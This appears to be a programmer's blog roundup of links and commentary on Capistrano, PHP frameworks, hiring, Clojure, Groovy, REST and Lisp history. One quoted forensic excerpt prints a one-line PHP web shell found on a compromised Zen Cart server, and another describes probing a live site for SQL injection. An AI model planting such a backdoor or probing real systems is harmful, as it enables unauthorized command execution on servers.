Closer To The Ideal

There is a new JavaFX group at Mix Oracle. Oddly, it has no RSS feed, so I have to post a link here, or I will not remember that it exists.

2 posts on deploying web software with Capistrano.

Craig T Mackenzie writes:

Like most people I use capistrano to deploy my rails applications, at work we host with the excellent railsmachine and they have really helped simplify the process of deploying to their servers using the railsmachine gem, which builds on top of the excellent functionality of capistrano.

The way these tools work by default they only allow you to deploy one instance of your application, which is fine, that’s all they’re are intended to do. But in the client facing world you’re probably going to want to have at least two versions of the same application at different stages of development running on the same server.

A live forward facing version (my-app.com) and a staging version (staging.my-app.com) for client approval / production testing (not code testing, that should stay on your development box) / progressive reviews etc.

So how do we achieve that? The idea is to determine what context you are deploying your application in, and use the fact the capistrano tasks can be chained together to set everything up ready for deploying a revision of your application to a targeted url, independent of other deployments.

Jamis Buck writes:

I’m still really pushing back against adding staging support into
Capistrano itself. You can accomplish what you want without using
environment environment variables by using cap’s -S switch:

cap -S stage=production deploy

Then, your deploy.rb looks like:

# set the default, unless it was set on the CLI
set :stage, “development” unless variables[:stage]

# do the setup, based on the selected stage
case stage
when “production”
set :deploy_to, “…”
role :web, “…”
role :app, “…”
…
when “development”
…
when “demo”
…
else
raise “unsupported staging environment: #{stage}”
end

A great bit of sysadmin detective work.

The second entry, with the POST looks pretty strange. I opened the admin/record_company.php file and discovered that it is part of zen-cart. The first result of googling for “zencart record_company” is this:Zen Cart ‘record_company.php’ Remote Code Execution Vulnerability. So that’s exactly how they were able to run code as the apache2 user.

Opening images/imagedisplay.php shows the following code:
<?php system($_SERVER["HTTP_SHELL"]); ?>
This code allows running commands using the account of the user running the apache2 server.

Eli White offers a very smart use of lambda functions in PHP.

Now not only would this work for my specific situation, but ANY controller could reuse this pagination subview and define exactly how it wanted it’s URLs to be formed. Now, the view could completely change around how the pagination section is displayed, show as many, or as few pages as it wants to, and all that without ever touching the controller.

This is one simple example, but I’ve become enamored of this approach. Using lambda functions in this way, you are able to have complicated logic represented inside of your view, but encapsulated/created by the controller. Also of note is the fact that the view is managing to use the $jsfunc and $baseurl values, but without actually having to be granted access to them. This allows for another level of encapsulation, as I exposed one function, instead of 2 separate variables. In the future if other data points start being needed to determine what a URL should be, the view never needs know that, as the controller will continue to update the function on it’s behalf.

On LinkedIn, I had a useful conversation with Kris Herlaar, which I will repeat here.

Personal, individual frameworks made a lot of sense in 2000 and 2001 and 2002, but now? Of my 3 most recent contracts, 2 were rebuilds of sites built by some other PHP programmer. In some cases the code was good, but the framework was their own, all together personal, and undocumented.

I think we betray our clients if we use personal frameworks in 2010. You can build a great site using Cake, Symfony, CodeIgniter, or WordPress, Joomla, or Drupal. You can build a great site using modified versions of existing CMSs, or using an open source framework to build your software. These open source projects offer standardization, and standardization is important. These open source projects offer documentation, and documentation is important.

Kris wrote:

People with different backgrounds have different ideas about what is good, and there are probably frameworks for every possible set of ideas you and I could think of.

Yes, and this fact is expensive for my clients.

I do think what I’m writing about here is, in fact, a trend. When I look for new PHP gigs, I notice more and more of them require the use of some framework or CMS. The most common requests are Drupal, WordPress, Joomla, Symfony and CodeIgniter. My sense is that businesses are realizing that it is expensive to allow a programmer to invent their own framework, so the businesses are insisting on the use of some open source software which is well documented.

Here is the scenario that I have seen a lot during the last 5 years:

A company hires a PHP programmer. The company (called “abc”) says “Build us a website that does xyz.” The programmer invents their own software and builds xyz. Since the programmer thinks they are working alone, they allow themselves to cut corners.They copy and paste code. They do not refactor as much as they should. They do not document much, since they assume they are the only ones working with the code.

After 3 years, the programmer leaves to take a new job somewhere else. The “abc” company now hires a new PHP programmer. The company says “Please fix all the bugs in xyz”. The new programmer struggles to learn the code written by the last programmer. There is no documentation regarding how the software works. The last programmer, now gone, rarely responds to questions via email.The new programmer eventually figures out that the old code had some architecture, but the exceptions to the architecture continue to baffle. And why does the code repeat in some places? Is that a bit of copy and paste, or was that really necessary somehow?

After the bugs are fixed, the company says “Great, now, lets extend xyz and add in features lmnop.” Extending the old code is difficult for the new programmer, since they have no idea how the last programmer intended for the code to be extended. More so, the last programmer didn’t even foresee some of the new needs of lmnop so the old code is badly suited to the new job. The new programmer struggles with the task of adding features while keeping the code base backwards compatible. A job that should take 1 month instead takes 2 months.

Finally, with that done, the company says to the programmer, “Great, now we are going to start a totally new project, the def project. You can use any technology you want for this. You can invent your own framework for this, if you want.” The new programmer rejoices! Finally, they will be allowed to do things their way! They will get to write code that makes sense to them! They will get to build an architecture that makes sense to them! The programmer invents their own software and builds def. Since the programmer thinks they are working alone, they allow themselves to cut corners.They copy and paste code. They do not refactor as much as they should. They do not document much, since they assume they are the only ones working with the code.

After 3 years, the programmer leaves to take a new job somewhere else. The “abc” company now hires a new PHP programmer. The new programmer must now work with the patched, extended, bloated project of xyz. They must also work with def, which they find confusing. Each project was written by a different programmer, uses a different architecture, makes different assumptions about what is good code.

You see the problem? This is not sustainable.

Consider Kris’s words:

“People with different backgrounds have different ideas about what is good, and there are probably frameworks for every possible set of ideas you and I could think of.”

That is the problem that can be fixed by committing to a framework.

Just to be clear, I think the choice of a framework might be arbitrary, and yet will still be useful. That is, the framework does not have to be the “best”. It merely needs to offer consistency. There is a great benefit to consistency, especially over the long term. I mean, it is good if you can get several programmers who will work with some basic set of core assumptions – a decent framework will offer that.

Another problem that I have seen a lot of is the programmer who thinks they are working alone. Either they are the only programmer at the business, or they are assigned some project that belongs to them and which no other programmer is allowed to touch. So they think they are alone. But after a few years, they leave the company, and some other programmer is brought in to handle their work.

Over time, all projects involve multiple programmers. Programmers seem to be slow to recognize this. After some years, they will move on, and some other programmer will have to work on their code. I wish more programmers could be made to see this.

I am especially aware of this right now, because, as I said, 2 of my last 3 gigs I have been brought in to save/rebuild code left by some other programmer.

Gay marriage: the database engineering perspective. This is great stuff. The essay is ostensibly about how to handle the recording of gay marriage in a database. But it uses the issue of gay marriage to go through every classic issue of database design, from foreign keys to normalization to the degree of abstraction needed to handle polyamorous marriages. From now on, when I’ve got a friend trying to learn how to design databases, I will send them to this essay.

There are various objections to expanding the conventional, up-tight, as-God-intended “one man, one woman” notion of marriage but by far the least plainly bigoted ones I am aware of are the bureaucratic ones.

To be blunt, the systems aren’t set up to handle it. The paper forms have a space for the husband’s name and a space for the wife’s name. Married people carefully enter their details in block capitals and post the forms off to depressed paper-pushers who then type that information into software front-ends whose forms are laid out and named in precisely the same fashion. And then they hit “submit” and the information is filed away electronically in databases which simply keel over or belch integrity errors when presented with something so profound as a man and another man who love each other enough to want to file joint tax returns.

Speaking as a computery-type person, altering the paper forms is not my department. It’s probably expensive and there are probably millions of existing incorrect forms which would need returning or recycling or burning instead of using. Or maybe it’s simple. I don’t know. The real question from my perspective is how you store a marriage in a computer.

Altering your database schema to accommodate gay marriage can be easy or difficult depending on how smart you were when you originally set up your system to accommodate heterosexuality only. Let’s begin.

I am intrigued by the idea that some people are simply unable to learn to program:

It has taken us some time to dare to believe in our own results. It now seems to us, although we are aware that at this point we do not have sufficient data, and so it must remain a speculation, that what distinguishes the three groups in the first test is their different attitudes to meaninglessness.

Formal logical proofs, and therefore programs – formal logical proofs that particular computations are possible, expressed in a formal system called a programming language – are utterly meaningless. To write a computer program you have to come to terms with this, to accept that whatever you might want the program to mean, the machine will blindly follow its meaningless rules and come to some meaningless conclusion. In the test the consistent group showed a pre-acceptance of this fact: they are capable of seeing mathematical calculation problems in terms of rules, and can follow those rules wheresoever they may lead. The inconsistent group, on the other hand, looks for meaning where it is not. The blank group knows that it is looking at meaninglessness, and refuses to deal with it.

RafalLos writes:

Now – without doing any actual hacking, I immediately noticed that something was wrong. While it’s hard to read the SQL error – it reads “ADODB.Field error ‘80020009′ Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record. /menu.asp line 0″ Without even pulling out the Google search I already knew what that meant – I wasn’t the first one there with malicious intent.

Immediately the folks at the back of the room took notice of the error, and started asking each other if anyone had heard that the site was having issues, or was down…

I decided to quit, in case this site was down intentionally, or something was actually broken… but the gentlemen in the front row pressed me to continue, to “see if there was actually a vulnerability”. Quickly I took a simple glance at the URL line, and appended the tell-tale test for SQL Injection, the single tick ‘ .

CNET has an odd story called “PHP and Perl crashing the enterprise party“. They then show a graph that shows usage of Perl is dead flat or even declining. The graph also shows Python being the script language with the fastest increase in usage. So if the title was based on the graph, then it should have read “PHP and Python crashing the enterprise party”. But even that would have been a lie, because they left out Ruby. When you look at this graph with Ruby in it, you realize that Ruby blows everything else away. Python and PHP both lag behind Ruby in a big way.

An easy way to configure SSH to make login in a breeze.

Over on Symfony Nerds, I wrote about Potencier’s ideas about a template engine. I just noticed that Eli White had also written an intelligent reply, well worth reading.

I’ve a new post up at Symfony Nerds. In it, I look at the implications of a RESTful architecture for Symfony. Should every module just have 4 actions, read, write, update and delete?

I stumbled upon this essay, apparently regarded by some as a classic. I have not read it all, though it looks like it answers a lot of my questions about the bizarre handling of floating point numbers that I’ve noticed in some situations. What Every Computer Scientist Should Know About Floating-Point Arithmetic.

Colin Steele writes about hiring programmers and asking them to show a code sample:

Since I’ve long viewed the practice of programming as a craft, I’ve tried to apply the notion of a portfolio, a gimmick I learned from my boss back at AOL. A good programmer should have a body of work, which can be shown, and in it you will find strong clues as to the type of programmer they are. So unless I’ve worked with someone before, directly, along with references and resumes, I ask them to provide:

A significant code sample which you feel is representative of your best recent work.

You might be surprised how that surprises folks. I’m not sure if they think I’m going to poach their code, or rat them out to the employers whom they were working for when they wrote it, or what. In any case, of those that get over it and send me something, a disheartening number send me what amount to toys – 100 line incomplete snippets of something-or-other. Or, just as bad, a swath of user interface callback code, or a class definition that’s 90% setters and getters. Sigh.

Once I’ve settled on the notion that a particular person might be a good hire, I try them out. That amounts to a six-month “no fault divorce” period, where the candidate is brought on board as a 1099 contractor, but in all other ways as a full fledged member of the team. Most folks need six months to settle in, get embedded in team dynamics, and learn enough of the problem domain to be useful. During that time, if anything doesn’t feel right – and I do this purely based on gut instincts – I gently end the relationship.

I can imagine for some kinds of coding this is especially important. If you’re writing an application whose main goal is data mining, then to see a code sample that shows an unusual cleverness in sorting or averaging or summing or grouping or parsing might be very important. However, that would not apply to a lot of the work I have done over the last 10 years. I might make a distinction between the engineers who design cars versus the car mechanics who fix cars. The engineers have to know a lot more than the mechanics. But for about 95% of the web sites I’ve built over the last 10 years, the work has been more like that of a car mechanic, rather than that of a car designer.

Much of the work I’ve done, and for which I’ve hired people, has been straightforward CMS work, which, in a sense, is the simplest kind of programming – designing the database is one of the few high-level, strategic decisions one has to make for that kind of work. The rest is just writing some code to either put data into the database, or take data out of the database. These projects do not necessarily demand great technical cleverness, but they do demand clear thinking. The worst thing about CMS projects is the way the code tends to sprawl over time. After 3 or 4 years working on a CMS, you find you have 50 modules, and you find the amount of redundant code building up in your system is allowing the same bugs to show up, again and again and again. The need to keep things organized eventually becomes the #1 priority. I’d be unable to figure out how well-organized someone is from a short code snippet. For me, the important test is the one Steele mentions at the end – giving someone a test of a few months.

But of course, one needs to screen out the folks who are really bad. Since 2006, I’ve had to hire programmers for 3 different projects. As I wrote in How Much Should You Lie On Your Resume:

The interviews were amazing. People would claim all kinds of things on their resume that they couldn’t defend when we met for an interview.

One woman said she knew Javascript. During the interview, I asked how well she knew Javascript. She said she’d taken a class in it during 1999 (that’s 8 years previous!). Could she write a single line of Javascript now? Um, no. But, uh, if she started working with it, she was sure it would come back quickly.

One fellow said he knew PHP and MySql. Turns out his experience consisted of a single small project he’d done for fun, at work. He was working as a tech support person at a local community college, and one of his main tasks was to help people when they forgot their passwords. So he wrote a tiny database program into which he could record usernames and passwords and email addresses. This consisted of about 6 screens. The PHP code was unbelievably primitive: he didn’t know what functions were, so when he wanted to break up his code into pieces, he put each routine into its own file, and then he would include that file when he wanted to trigger the code. And all the HTML was hard coded into the PHP. Awful. And the poor guy had no idea how much he still had to learn.

We spoke to a woman who said she knew Java, but had no Java projects that she could point us to, not even little demos on her laptop.

Many of the people we spoke to were just moving past the point of unconscious incompetence. They simply had no idea how they appeared to us.

We spoke to a lot of people who were clearly beginners, yet they claimed to know more technologies than I do. A typical list: Javascript, CSS, HTML, XHTML, RSS, Atom, Flash, ActionScript, Java, .Net, C, C++, Python, Perl, PHP, Linux, MySql, Oracle, Microsoft Server, Windows, Apache, IIS, Photoshop, FinalCut Pro, iMovies, Mac OS, and SOAP.

…What a lot of beginners seem to do is they include on their resume stuff they were briefly exposed to during some class in college. So if, for one day, they got to write some SQL queries against a dummy database set up in Oracle, they then claimed that they knew Oracle. I think what this approach communicates, more than anything, is insecurity. I realize that it is tough to get one’s career started, but still, you might want to leave off the stuff that you’ve only had a day or two exposure to.

The more extreme cases can be weeded out with an interview. For the rest, sometimes you can get a sense of who they are if they have a blog. But a lot of the times, it comes down to giving people a try, and see how they do.

There are a lot of decisions where an argument can be made for 2 radically different approaches. I had a conversation this summer, with a programmer who did very good work, about how many databases should be in use on our website. I felt that the right answer was “one”, they felt the right answer was “two”. Part of the site was being built in Symfony, and part of the site was simply a WordPress blog. He argued that putting each application in its own database was “loose coupling”. In this case, I thought it would be a huge headache. We wanted to integrate data from both applications on our home page, and the idea of drawing data from 2 different databases to create our homepage struck me as way too much work. He was aggressive in defending his opinion and he regarded my final decision with a certain amount of contempt. All the same, the programming he did was excellent, and he was very fast, so I’d hire him again for future projects (though I wouldn’t take his advice on architectural decisions).

When I think about the next time I might hire, I think about how I might give someone a try without wasting too much money. I’d like to think that its possible to figure out who is good, and who is bad, after just a week or two of working together. The big challenge is the 6 month wait that Steele describes:

Most folks need six months to settle in, get embedded in team dynamics, and learn enough of the problem domain to be useful.

I try to find tasks that only take a week and which reveal a lot about what kind of programmer I’m dealing with. This is a large-scale version of asking for a code snippet. This worked out well for us when I was at Bluewall and we were looking for a Flash programmer. After I interviewed her, I decided to give a very short, small project to Starrie Williamson. I liked how she handled her first, small assignment, so we ended up working with her for the next year.

I post this only because I am impressed with the extent to which the JVM world is now able to fight back against Microsoft. Record macros in OpenOffice with Groovy

Windows/Mac/Linux (OpenOffice): Free OpenOffice extension Groovy makes it possible to record and run Macros in OpenOffice. Don’t confuse Groovy for a cheap Visual Basic knockoff. Groovy has its own syntax similar to bash mixed with Java. If you were sticking to Microsoft Office solely for its macro capabilities, you may be able to break away with Groovy. Unfortunately, Groovy is not nearly as beginner friendly as VB/VBA. However, beginners will have no problem getting started with simple macros. Groovy is a free extension for all platforms with OpenOffice. Here is an ODT with several sample macros to help you get your feet wet (remember, you need to install Groovy before you can run the macros).

I first got interested in Java in 2003. I played around with it for year, doing minor toy projects. I finally decided that I hated it — too verbose, too redundant, too much aimed at the Enterprise, not dynamic or agile. Java is inappropriate for fast moving startups. I turned my back on Java and therefore missed the explosion of dynamic languages that run on the JVM: Jython, JRuby, JavaFX, Groovy, etc. In other words, I turned my back on the Java ecosystem just at the moment that it finally started to get interesting.

About a year ago I began to focus again on the world of the JVM. At first I was over-enthusiastic about JavaFX. Then I was frustrated by its lack of progress. Some at Sun have talked as if JavaFX was Swing 2.0, the future of Java GUI programming. But with JavaFX one has to jump through some hoops to integrate with Java code, whereas other JVM languages, such as Groovy, allow seamless integration.

Given that background, I am fascinated to read that Griffon is making it easier to do polyglot programming with the JVM languages:

If you’ve followed the Griffon news in the last 12 months you may be aware that Griffon is a fun and rapid desktop/rich application development framework inspired by Grails; that there are more than 40 released plugins and that polyglot programming is a pretty much a done deal (Groovy, Java, JavaFX, Scala & Clojure). Griffon was born as a means to get Swing applications off the ground quickly; a few months ago it gained the capability of mixing Swing and JavaFX components in the same application.

Just recently it went a bit further than that.

Swing is not the only toolkit that can be used with Java in order to create a desktop applications, JavaFX is clearly one alternative (though at the time of writing this entry it still lacks a full set of controls and a healthy ecosystem of 3rd part components, but that’s another story). There is also SWT, which provides better fidelity as it talks to native widgets directly as opposed to Swing. However that also imposes some restrictions (like skinning) but that has not kept the proponents of the toolkit (and Eclipse) from using it at every turn. There is also another newcomer: Pivot. Fresh from VMWare labs it quickly found a place at the Apache Incubator where it’s been nurtured and awaits the moment of graduation.

What do these toolkits have to do with Griffon? Well as it turns out there is experimental (i.e, not finished yet) support for both SWT and Pivot.

Clever.

Brute Force Programming. This is the trick that I have used most myself:

Method #1. Rename early, rename often: this is the simplest method in BFP and possibly the least creative. Let’s say you slightly change implementation of some function or semantics of some variable, but it is used in so many places that there is a risk of introducing a bug. And you want to catch as many problems as possible before running your monster application. Grepping the sources is not reliable and also in case of a generic name like, for example, “close”, you will get millions of matches and you will certainly miss something important.

The quickest way is to rename your object – function, variable, class, whatever it is, and watch compilation errors. Ideally, you need a good IDE to take you to the exact places where the compiler complains about unknown identifiers. Don’t worry about the new name – you can rename it back later, once you make sure that all uses of the object are correct.

I developed my own framework from 2002 to 2007. The whole last year I knew I was going to give it up, so I no longer worried about keeping it clean, so whenever I needed to make a change, I just created a new function (the framework had a good lazy-loading pattern, so there was no cost to adding functions). I did not want to risk breaking something.

All programmers should read PHP Must Die. PHP is a sloppy language, with a lot of subtle bugs.

I agree with this: Netbeans is a good IDE for Symfony development. I think this is especially true if you, like me, also develop with JVM languages. This last year I was doing some Java/Swing and Groovy projects, so I started using NetBeans again. It has a plugin for doing Symfony work – very handy.

Incanter is a statistical package written in Clojure. It brings some bits of the R-language to the JVM.

I didn’t realize that there was a web framework built using Clojure, but Compojure has been around for over a year now. Brian Carper wrote a small online game using Clojure/Compojure, and it sounds like an impressive combo. (My one dislike: templates made up of code.) He is highly critical of Rails:

This was a nightmare to do properly in Rails. Rails wants to dispatch to controllers, which are classes. To make this work in Rails I had to mangle this concept to fit into the idea of a hierarchy of classes and subclasses. There might have been an elegant way to do it, but I couldn’t think of one. I suspect someone will leave me a flame comment telling me how to do it.

I’m also surprised to learn that Clojure is over 2 years old. It is weird how much time I spend reading tech news, and yet so many developments go past me without me noticing.

A script written in Groovy that finds and deletes files that match some given pattern. The syntax of Groovy is wonderfully clean, and not especially foreign to PHP developers. I’d think that if a PHP developer wanted to dive into the world of the JVM, Groovy would make an easy first stop.

A (Brief) History of Object-Functional Programming by Kevin Wright. Mostly this is focused on the rise of Scala, but it offers a good overview of the “why” that brought functional languages back into fashion.

Dare Obasanjo offers an interesting look at how NewsGator’s RSS service could be re-designed so as to be more RESTful.

Colin Steele writes about the challenges that he and his team are facing at Hotelicopter:

We’ve officially run headlong into one of Ruby on Rails’ deficiencies: programming in the large. We’re not interested in computer science-y solutions, only pragmatic ones.

I’m curious what is excluded by the phrase “computer science-y solutions”? I would normally interpret that to mean “we are looking for well tested solutions with wide deployment” but elsewhere he writes:

We’re currently investigating a spectrum of new technologies in the NoSQL realm, including Tokyo Tyrant, MongoDB, Amazon’s SDB, CouchDB, Voldemort, and more. Tis’ a dizzying mix, and things are popping in the space.

So clearly they are looking at some cutting edge technologies. Colin links to an essay about Programming in the large which includes this:

Maintenance and locality are strong arguments in favor of immutability. The less aspects of an object can be changed, the less you have to worry about the execution history. If an object has a two-phase initialization sequence (e.g. this is so in C++ if you need a virtual function during initialization), you have to make sure that the objects are properly initialized; code that gets handed over such an object will have to check that it’s initialized (if only in an assert()). This all vanishes if the language makes sure that no object remains uninitialized, and doesn’t force a two-phase initialization on programmers like C++. (In C++, the “wrong” design decision was that objects mutate from the base type to the subtype when the various constructors are run. It’s this kind of far-reaching consequences (IOW non-locality) that makes language design an art.) If you take immutability to its extremes, nothing can ever be changed. If you wish to change the world, you write a function that returns a list of changes and let the run-time system inspect that list and execute the proper actions. If you have an interactive program, you emit a list that has a function pointer at its end; the function gets fed the next input and is expected to generation another action list.

In the last few years, many programmers have pointed to mutability as one of main problems they face when they build larger systems. Chas Emerick does a good job of highlighting the problem in his post “All my methods take 316 arguments, and I like it that way”

316 arguments to a method (which I don’t think is actually possible in the jvm, but bear with me)? “That’s absurd!”, you’d say. The problem, of course, is that the 3-arg doSomething actually has far more arguments than its signature implies:

The behaviour of every function in a mutable, imperative environment is dependent upon the state of all of the other (variables|attributes|bindings|whatever) in your program at the time the function is invoked.

So, if you have 313 other variables in your program, that 3-arg doSomething is functionally (ha!) operating over 316 arguments.

Would you ever intentionally write a method signature that takes 316 arguments? Would you use any library that contained such a function signature? No? Then why are you using tools that force such craziness upon you?

Chas says “The languages are ready” and he links to some of the major functional languages: Erlang, Clojure, F#, and Fantom. In comments, his readers add in their favorite functional languages: OCaml, Haskell, etc.

One of his readers challenges the idea that functional languages are safer than imperative languages by offering this:

Regarding functions changing state, what about things like this in clojure, Isn’t it like global variables in imperative lang?

(def state (ref #{}))

(defn function that updates state)

(defn another function that updates state)

Chas responds:

You bet. Clojure is not a purely functional programming language, so you can have as much shared state as you want – but the language is going to make you work for those bits of shared state, so you have to “pay” for them. Conversely, imperative languages like Java et al. make you work to achieve immutability, and provide nothing in the way of enabling persistent data structures, etc.

The point is that defaults matter, a lot.

I like the word “default” in this context. In his 2001 book, Effective Java, Joshua Bloch wrote “Favor immutable objects over mutable.” When writing a big system in Java, you work to make your system immutable. In a language like Clojure, the default is just the opposite – you work to make parts of your system mutable.

I have very little experience with functional programming. I am just learning Clojure now (Lisp redone for the JVM). I can not say what benefits its brings. I’m looking forward to learning more in this area. It’ll be interesting to see where functional programming comes to be regarded as a “best practice”. Certainly, it will be interesting to see if CTO’s start using these languages at startups, or whether they will be regarded as “computer science-y solutions”.

I’ve somewhat more experience with the web app frameworks that have emerged since 2004. I’m interested in what Colin wrote here:

I suspect as we muddle along we’ll develop a component-level (service level if you prefer) version of the Law of Demeter, which will drive us to make the right decisions for decoupling. I’m not too worried about that. However, we definitely have issues with reuse. Currently the Ruby on Rails state of the art solution for reuse is the gem. Which, let’s face it, is a pathetic solution.

Some of the frameworks seem to encourage bad habits. I’ve already written of Symfony’s weaknesses in Symfony versus The Law Of Demeter: does Symfony promote bad habits?.

When Ruby on Rails first emerged it was targeting web apps, not web services. Rails has a lot of imitators: Groovy/Grails, PHP/Symfony, etc. These all help create web sites, but not necessarily web services. I suspect a new generation of frameworks will be needed to make this kind of work easier:

The place we’re aiming for is a highly decoupled (and scalable), cohesive set of services, joined through REST APIs and/or fully reused common business models.

In their book Restful Web Services the authors Leonard Richardson and Sam Ruby talk about “the human web” and the “programmable web”. This is from page 2:

The Web you use is full of data: book information, opinions, prices, arrival times, messages, photographs, and miscellaneous junk. It’s full of services: search engines, online stores, weblogs, wikis, calculators, and games. Rather than installing all this data and all these programs on your own computer, you install one program – a web browser – and access the data and services through it.

The programmable web is just the same. The main difference is that instead of arranging its data in attractive HTML pages with banner ads and cute pastel logos, the programmable web usually serves stark, brutal XML documents. The programmable web is not necessarily for human consumption. Its data is intended as input to a software program that does something amazing.

Originally, frameworks like Rails were created to help speed the production of sites for the human web. They have evolved since then, Rails in particular. In fact, Richardson and Ruby use Rails for many of the examples they offer in the book, about how to correctly build a RESTful web service. And yet, the scaffolding systems in these frameworks still tend to automate the production of CRUD web pages, rather than PGPD services. (I do not know the state-of-the-art with Rails, so someone can tell me if I’m wrong about its scaffolding.)

Richardson and Ruby suggest that every module (resource) in a RESTful web service should expose just 4 actions:

POST
GET
PUT
DELETE

These are the HTTP verbs, and they roughly correspond to the standard CRUD actions, except that POST is used for both Create and Update, and PUT is used for uploading files:

Create/Update
Read
Upload
Delete

I suspect we need a new generation of frameworks, or at least new scaffolding systems for the existing frameworks, that automate the setup of PGPD services. That seems like the next obvious step forward.

A web app written in Lisp. Mostly interesting for the sheer novelty.

All of the literature of computer science is devoted to the issues of arranging the state of the system in such a way that it can not be accidentally changed, or changed by 2 processes that need the state of the system to move in opposite directions. Programming has many catch-phrases to express these ideas:

information hiding

decoupling

small pieces, loosely joined

Apparently humans have trouble maintaining software that is written in a highly coupled way. And yet, our bodies appear to be highly coupled systems – failure of any one major part can lead to death for the whole. There are many global variables, such as body temperature, which effect the context in which all other variables operate (for instance, enzyme efficiency depends on body temperature). This leaves me curious – apparently nature has figured out how to build highly-coupled systems, systems which then last for 70 or 80 years (better than most computer systems can hope for). How is this done? Meta-programming? Processes that write macros that give rise to processes which can write macros? I suspect a close study of the ways cells program their activities will eventually lead to new strategies of programming software.

Innovation is a ragged, ugly process. Some advances entail consolidation around second-best technologies. It has often been the case for 2 technology firms to fight it out for some market segment. The company in 1st place will be the one with the best marketing. The company in 2nd place will be the one with the best technology (think Microsoft versus Apple circa 1990).

In the context of experiments in Lisp, done a long time ago, this post makes a good point along those lines:

Anyway, I *know* what it is to look at functionality and duplicate it elsewhere. It CAN be done. I am not saying it can’t. What I’m saying is that it has not been done, and it’s a crying shame. Few people even know there ever WAS a lisp machine, and those who do are mostly not rich enough personally to invest the time to duplicate what was there. Many people spent a big chunk of their lives investing in this dream and it didn’t pan out quite as we wish. Ok. Sometimes other events win out–not always even for the right reasons. Or at least for the reasons you wish. But don’t add insult to injury to say that the losers in battles such as these had nothing to offer.

Common Lisp beat out Interlisp, and maybe for good reasons but it doesn’t mean Interlisp had nothing to offer–some very good ideas got lost in the shuffle and I don’t pretend that Common Lisp just obviously had a better way. Java is going to beat out Smalltalk perhaps, but that doesn’t mean Java is better than Smalltalk. We owe it to the losers in these little skirmishes to make sure that, if nothing else, the good ideas are not lost along with the framework. And we do not accomplish that by defining that there was nothing lost. That’s both callous to those who worked hard on these other things and short-sighted to the future, which might one day care about the things that got lost.

…You can say the burden is on us old-timers to tell you what’s missing or we shouldn’t be whining. But I don’t see it that way. I see the burden is on the victors, who have the resources and who claim their way is better, to show us that they won for good reason. We did our part for the cause. We may or may not continue to try to do things to assure the ideas aren’t lost.

I spend a lot of my time trying to make sure old ideas make it onto the books and don’t get lost. But I’m just one person. It takes more than one person. And the task does not begin by dismissing the need to do the job.

What kind of architectures would computers have if we could go back and start over?

The foundations of the computing systems we use are built of ossified crud, and this is a genuine crime against the human mind. How much effort (of highly ingenious people, at that) is wasted, simply because one cannot press a Halt switch and display/modify the source code of everything currently running (or otherwise present) on a machine? How many creative people – ones who might otherwise bring the future to life – are employed as what amounts to human compilers? Neither programmers nor users are able to purchase a modern computer which behaves sanely – at any price. We have allowed what could have once become the most unbridled creative endeavor known to man short of pure mathematics to become a largely janitorial trade; what could have been the greatest amplification of human intellect in all of history – comparable only to the advent of written language – is now confined to imitating and trivially improving on the major technological breakthroughs of the 19th century – the telegraph, telephone, phonograph, and typewriter.

Brokenness and dysfunction of a magnitude largely unknown for centuries in more traditional engineering trades has become the norm in computer programming. Dijkstra believed that this state of affairs is the result of allowing people who fall short of top-notch in conventional mathematical ability into the profession. I disagree entirely. Electronics was once a field which demanded mathematical competence on the level of a world-class experimental physicist. Fortunately, a handful of brilliant minds gave us some very effective abstractions for simplifying electrical work, enabling those who had not devoted their lives to the study of physics to conceive ground-breaking electronic inventions. Nothing of the kind has happened in computing. Most of what passes for widely-applicable abstractions in the field serves only to hamstring language expressiveness and thus to straightjacket cube farm laborers into galley-slave fungibility, rather than to empower the mind by compartmentalizing detail. (OOP is the most obvious example of such treachery.) As for invention, almost everyone has forgotten what genuine creativity in software development even looks like. Witness, for instance, the widespread belief that Linux exemplifies anything original.